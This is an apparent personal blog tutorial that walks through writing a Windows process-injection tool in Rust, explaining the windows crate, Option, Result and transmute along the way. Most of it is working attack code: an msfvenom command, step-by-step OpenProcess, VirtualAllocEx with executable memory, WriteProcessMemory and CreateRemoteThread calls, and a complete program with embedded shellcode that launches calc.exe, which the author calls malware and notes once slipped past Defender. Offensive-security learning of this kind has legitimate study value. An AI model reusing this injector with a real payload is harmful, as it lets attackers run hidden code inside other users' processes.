# Process Injection

## Overview

Well, I finally did my Rust blog, I was wondering what to do and thought of doing something which I have already talked about so that the reader (you) may be able to see the difference b/w coding in Rust and coding in C and as much as I love C, we will see how Rust makes things soo much easier. Please note that I am still learning Rust and so if I did a mistake or did something in a very "inefficient" manner, please feel free to reach me out on [twitter](https://x.com/ZzN1NJ4). I'll mainly use VSCode for writing Rust.

## Process Injection

Alright, we will start by creating a new project first, I won't be talking about how to [install & setup Rust](https://www.rust-lang.org/tools/install). We can type `cargo new malrust` to create a new project / directory with that name. The structure would be something like this

```
 - malrust
 | - Cargo.toml
 | - src
    | - main.rs
```

Well, to have access to the Windows API, we might need to add a [crate](https://doc.rust-lang.org/rust-by-example/crates.html) to our program, now there are 2 different crate to do the job, [windows](https://crates.io/crates/windows) and [winapi](https://crates.io/crates/winapi), after some googling it seems that winapi was created by [WindowsBunny](https://users.rust-lang.org/u/retep998/summary) (gigachad) and it feel similar to working with C++ whereas the windows crate is something done by microsoft, so it's official and feels more like Rust, but has some bugs and still seems to be incomplete than winapi, also it seems that winapi is more popular and has more downloads, hence for now I'll stick with winapi.<br>

### Generating Shellcode

```
msfvenom -p windows/x64/exec CMD="calc.exe" -f rust
```

### Handling Imports

we can type `cargo add windows`to include the windows crate, of course this command should be in the same directory as the project. we can start typing our code in `src/main.rs` file. To import the necessary Windows API, we can change our `Cargo.toml` file and add the features we need. The file would look something like this&#x20;

```
[dependencies]
windows = "0.59.0"
# Change this to 
# windows = { version="0.59.0", features=["Win32_System_Threading"] }
```

By default, when we import the crate, we don't include all of the features of it, and so to get some of the features, we have to let the compiler know it by updating our `Cargo.toml` file. For eg, I want to use the `OpenProcess` API, which is not available by default, so I can check this [Microsoft website](https://microsoft.github.io/windows-rs/features/#/0.59.0/search/OpenProcess) to check what features shall I include to be able to access the `OpenProcess` API which in this case is the `Win32_System_Threading`. Likewise, we can search for the API used in Process Injection and get the necessary features.

```
OpenProcess           -    Win32_System_Threading
VirtualAllocEx        -    Win32_System_Memory
WriteProcessMemory    -    Win32_System_Diagnostics_Debug  
CreateRemoteThread    -    Win32_System_Threading, Win32_Security
GetLastError          -    Win32_Foundation
CloseHandle           -    Win32_Foundation

// The site shows empty feature for most of the Foundation APIs,
// this is because they are included by default and thus
// we can ignore specifying this feature and still import them
// Thanks to @WithinRafael (cool guy) who notified me :)

After all of this, the dependency should look something like this 
windows = { version="0.59.0", features=["Win32_System_Threading", "Win32_System_Memory", "Win32_System_Diagnostics_Debug", "Win32_Security" ] }
```

Now that we have the necessary features, let's import those functions, this is also displayed on the website

<figure><img src="https://2432292127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSCcfOQOO1zEN9SINI2QU%2Fuploads%2Fz4a42lkTO17H8JyKS3Kj%2Fimage.png?alt=media&#x26;token=b073134f-7e28-4276-849d-4bfb43ef6d84" alt=""><figcaption></figcaption></figure>

we can import `GetLastError` by typing `use Windows::Win32::Foundation::GetLastError` Although, we can import everything under the `Foundation` module by having `Foundation::*` but why import the things which we don't have use for? and this is one of the cool things I like about Rust. This should look something like this&#x20;

```rust
#![allow(warnings)]

use windows::Win32::{
    Foundation::GetLastError,
    System::{
        Threading::{OpenProcess, CreateRemoteThread},
        Memory::VirtualAllocEx,
        Diagnostics::Debug::WriteProcessMemory,
    },
};
```

The `#![allow(warnings)]` is so that the compiler doesn't show you warnings for whatever reason, The compiler warns us about the "bad" code which might lead to unnecessary bugs. Initially this becomes annoying but later on, you would realize how great of a feature this is.

Alright, so let's start with the main function, first things first, we will get an argument to the binary which will be the id of the Process to Inject. Although it's fairly simple to enumerate all processes and inject into one by their name, I will keep the latter for part 2 maybe. Rust has a [great doc](https://doc.rust-lang.org/book/ch12-01-accepting-command-line-arguments.html) which talks about most of the stuff and how to do it.

### Parsing Arguments

```rust
    let args: Vec<_> = std::env::args().collect();
    if args.len() > 2 {
        println!("Ignoring {} extra args", args.len() - 2);
        println!("[*] Usage: {} <PID>", args[0]);
    }
```

A Vector in rust is similar to that of C++, think of it as an array which is allowed to grow / shrink in size. An `_` just means that we let the compiler infer what will be the data type of the arguments or when we can ignore it. But since we want to have an integer as our first argument, we can convert it to an integer and handle the case accordingly.

```rust
let pid: u32 = args[1].parse().expect("Please provide a valid integer");
```

Now we can open a handle to the process and use an if let expression to handle the `Result` in Rust. Since Rust considers these to be unsafe (winapi) ,  it is important for us to call these inside an `unsafe` block, else the compiler will show an error.

### Get Handle to Process

```rust
unsafe {
        // you might have to import PROCESS_ALL_ACCESS as well
        // hProcess is of type Result
        let hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
        if let Ok(hProcess) = hProcess {
            println!("Opened Handle: {:?}", hProcess);
            // do stuff
            CloseHandle(hProcess);
        }
        else {
            let err_code = GetLastError();
            println!("Failed to get Handle : {:?}", err_code);
        }
    }
```

we might have to import `PROCESS_ALL_ACCESS` which can be imported under the same module as the function was imported (this should be the case for most of the parameters). Then we just have to Allocate memory in the process and write our shellcode to it.

### Allocate Memory for Shellcode

```rust
let shell_size = shellcode.len();
let buf = VirtualAllocEx(hProcess, Some(null()), shell_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if buf.is_null() {
    eprintln!("VirtualAlloc Failed : {:?}", GetLastError());
    std::process::exit(2);
}
println!("Allocated Memory for shellcode");
```

We might have to import the `null() & null_mut()` from `std::ptr` crate and also the `MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE` from the same crate as the function `VirtualAllocEx`. We can see the function definition in VSCode if we hover over the function.

<figure><img src="https://2432292127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSCcfOQOO1zEN9SINI2QU%2Fuploads%2FhRsQg3UtBtja9qSvhYkX%2Fimage.png?alt=media&#x26;token=08521754-31d3-4a3c-999a-dc86bfbe7603" alt=""><figcaption></figcaption></figure>

#### `Some` & `Option` in Rust

Due to the way the function is defined, I had to use `Some()` to wrap the `null()` which didn't make much sense to me. But think of `Some` as it either has `Some` value or `None`. It is a variant of the `Option` type in Rust. Quoting the rust document

> The problem with null values is that if you try to use a null value as a not-null value, you’ll get an error of some kind. Because this null or not-null property is pervasive, it’s extremely easy to make this kind of error.

So the [Option](https://doc.rust-lang.org/book/ch06-01-defining-an-enum.html?highlight=Option#the-option-enum-and-its-advantages-over-null-values) is used to include the scenario in which the variable would not have any value , aka null. Rust forces you to handle the cases where the variable could potentially be null and thereby avoid any kind of bugs related to it.

#### `Result` & `Enums` in Rust

The `Result` is an enum in rust and it has 2 outcomes.  either it passes `Ok(T)` or it fails with an `Err(E)` and whenever we have a type of Result, it's our duty to handle both of the outcomes. In general, an [enum](https://doc.rust-lang.org/book/ch06-01-defining-an-enum.html) is when a variable can have any value of different types. So like if there's an enum of type `IP Address`, It can have both the `IPV4` and `IPV6` which would be of 2 different types (assume) and since we don't know what type are we going to handle, we use an enum instead and handle both of the values accordingly.

### Write Shellcode to Allocated Memory

Ok back to process injection, now we have to write the shellcode into the process memory.

<pre class="language-rust"><code class="lang-rust">let status_write = WriteProcessMemory(hProcess, buf, shellcode.as_ptr() as *const c_void, shell_size, Some(null_mut()));
if status_write.is_err() {
        eprintln!("Error Writing shellcode to Memory: {:?}", GetLastError());
<strong>        std::process::exit(3);
</strong>}
println!("Written shellcode to process");
</code></pre>

I had some trouble while writing this piece of code, because the shellcode should be of type `*const c_void` but we had defined a vector shellcode, so after some research, I did it by changing that to a pointer and from that to `*const c_void`. Note that we have to import `c_void` from `std::mem`. Then finally creating the thread to run our shellcode.

### Create Remote Thread for Shellcode

```rust
let hThread = CreateRemoteThread(hProcess, None, 0, transmute(buf), None, 0, None);
if let Ok(hThread) = hThread {
    println!("Created Remote Thread : {:?}", hThread);
} else {
    eprintln!("Error Creating Remote Thread: {:?}", GetLastError());
    std::process::exit(4);
}
```

#### `Transmute` in Rust

&#x20;[Transmute](https://doc.rust-lang.org/std/mem/fn.transmute.html) is a function in Rust which allows to re-interpret the variable into another type (in an unsafe way). In our case, it converts the `buf` variable to what is expected by the `CreateRemoteThread` function which is `LPTHREAD_START_ROUTINE`. So we try tell the compiler that this buf should be treated as a function pointer which it does and we finally see our calc popping out.

### Full Code  & Output

```rust
#![allow(warnings)]

use windows::Win32::{
    Foundation::{CloseHandle, GetLastError},
    System::{
        Diagnostics::Debug::WriteProcessMemory, 
        Memory::{VirtualAllocEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE}, 
        Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS},
    },
};

use std::{
    os::raw::c_void, 
    ptr::{null, null_mut},
    mem::transmute,
};

fn main() {

    let shellcode: [u8; 276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,
    0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,
    0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,
    0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,
    0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,
    0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,
    0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,
    0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,
    0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
    0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
    0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,
    0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,
    0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,
    0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,
    0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,
    0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,
    0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,
    0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,
    0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,
    0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,
    0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,
    0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,
    0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,
    0x2e,0x65,0x78,0x65,0x00];

    let args: Vec<_> = std::env::args().collect();
    if args.len() > 2 {
        println!("Ignoring {} extra args", args.len() - 2);
        println!("[*] Usage: {} <PID>", args[0]);
    }
    let pid: u32 = args[1].parse().expect("Please provide a valid integer");
    let shell_size = shellcode.len();

    unsafe {
        let hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
        if let Ok(hProcess) = hProcess {
            println!("Opened Handle: {:?}", hProcess);
            
            let buf = VirtualAllocEx(hProcess, Some(null()), shell_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if buf.is_null() {
                eprintln!("VirtualAlloc Failed : {:?}", GetLastError());
                std::process::exit(2);
            }
            println!("Allocated Memory for shellcode");
            
            let status_write = WriteProcessMemory(hProcess, buf, shellcode.as_ptr() as *const c_void, shell_size, Some(null_mut()));
            if status_write.is_err() {
                eprintln!("Error Writing shellcode to Memory: {:?}", GetLastError());
                std::process::exit(3);
            }
            println!("Written shellcode to process");

            let hThread = CreateRemoteThread(hProcess, None, 0, transmute(buf), None, 0, None);
            if let Ok(hThread) = hThread {
                println!("Created Remote Thread : {:?}", hThread);
            } else {
                eprintln!("Error Creating Remote Thread: {:?}", GetLastError());
                std::process::exit(4);
            }

            CloseHandle(hProcess);
        }
        else {
            let err_code = GetLastError();
            println!("Failed to get Handle : {:?}", err_code);
        }
    }
}
```

<figure><img src="https://2432292127-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSCcfOQOO1zEN9SINI2QU%2Fuploads%2FblQm8VPHmLsFQs587CiI%2Fimage.png?alt=media&#x26;token=93b15eea-8918-4770-bf55-2d8afd77424f" alt=""><figcaption></figcaption></figure>

we can access the binary at `target\debug\malrust.exe` , the binary name is generally \<project>.exe . During my writing of this small piece of malware, I did notice I was able to run it without triggering the defender at a point(which I forgot where it was), not sure why since we are using msfvenom payload (heavily signatured by AV), but I couldn't reproduce the behavior.

## Final Thoughts

I initially was thinking to include all the 3 (Process Injection, NTAPI, APC Injection) but it seems that this has been too long and I don't want to have a really lengthy page so I'll keep those for some other day. Rust is a great language and I do understand that learning it does take some time, but once you get the hang of it, it becomes really amazing. I'll later have a post on Reversing the malware (Process Injection) in Rust & C. Rust binaries are generally a bit more annoying to reverse and we'll see that in some other post. If you understood, or if you feel like I could have written something in a better way, please feel free to reach me out on [twitter](https://x.com/ZzN1NJ4). Thanks, ciao.

## References

* <https://www.consulthink.it/rustware-part-1-shellcode-process-injection-development/>
* <https://doc.rust-lang.org/book/>
* <https://microsoft.github.io/windows-rs/features/#/0.59.0>
* <https://crates.io/crates/windows>
